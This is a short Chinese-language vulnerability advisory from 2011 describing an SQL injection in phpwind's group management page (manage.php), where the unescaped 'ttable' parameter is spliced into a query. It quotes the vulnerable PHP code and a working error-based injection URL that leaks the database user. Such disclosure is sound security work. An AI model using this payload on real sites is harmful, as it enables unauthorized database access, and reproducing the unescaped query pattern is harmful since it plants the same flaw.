phpwind manage.php页面SQL注射漏洞

发布日期：2011-04.13
发布作者：佚名

影响版本：PHPWIND
官方网站：http://www.phpwind.net

漏洞类型：SQL注入

漏洞描述：小bug而已 利用前提是得到群组管理员权限

详细说明：
/apps/group/admin/manage.php line 219

S::gp(array('ttable', 'ptable', 'page','cid','author','ckauthor','keyword','ktype','ttype','ckkeyword','postdate_s','postdate_e','orderby','sc','perpage','cname')); //ttable

.....

if ($ttype == '1') {

$sqltab = 'pw_threads t';

$pw_tmsgs = 'pw_tmsgs' . $ttable; //!

$tpre = 'tm';

$addpage .= "ttable=$ttable&";

} else {

$sqltab = GetPtable($ptable) . ' t';

$addpage .= "ttype=2&ptable=$ptable&";

}

......

if ($keyword) {

$addpage .= "keyword=$keyword&ktype=$ktype&ckkeyword=$ckkeyword&";

if ($ckkeyword) {

$k_sql = " = " . S::sqlEscape($keyword);

} else {

$k_sql = " LIKE " . S::sqlEscape('%'.$keyword.'%');

}

if ($ktype == 'subject') {

$sql .= " AND t.subject" . $k_sql;

} else {

$ttype == '1' && $sqltab .= " LEFT JOIN $pw_tmsgs tm ON t.tid=tm.tid"; //$pw_tmsgs

$sql .= " AND {$tpre}.content" . $k_sql;

}

}
漏洞证明：
/admin.php?adminjob=apps&admintype=groups_manage&action=argument&keyword=1&ttable=/**/tm ON t.tid=tm.tid LEFT JOIN ak_argument a ON t.tid=a.tid LEFT JOIN ak_colonys c ON a.cyid=c.id WHERE (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),CONCAT(0x3a,(SELECT USER())))a from information_schema.tables group by a)b)%23

修复方案：
preg_match
也可不修补
 

标签分类：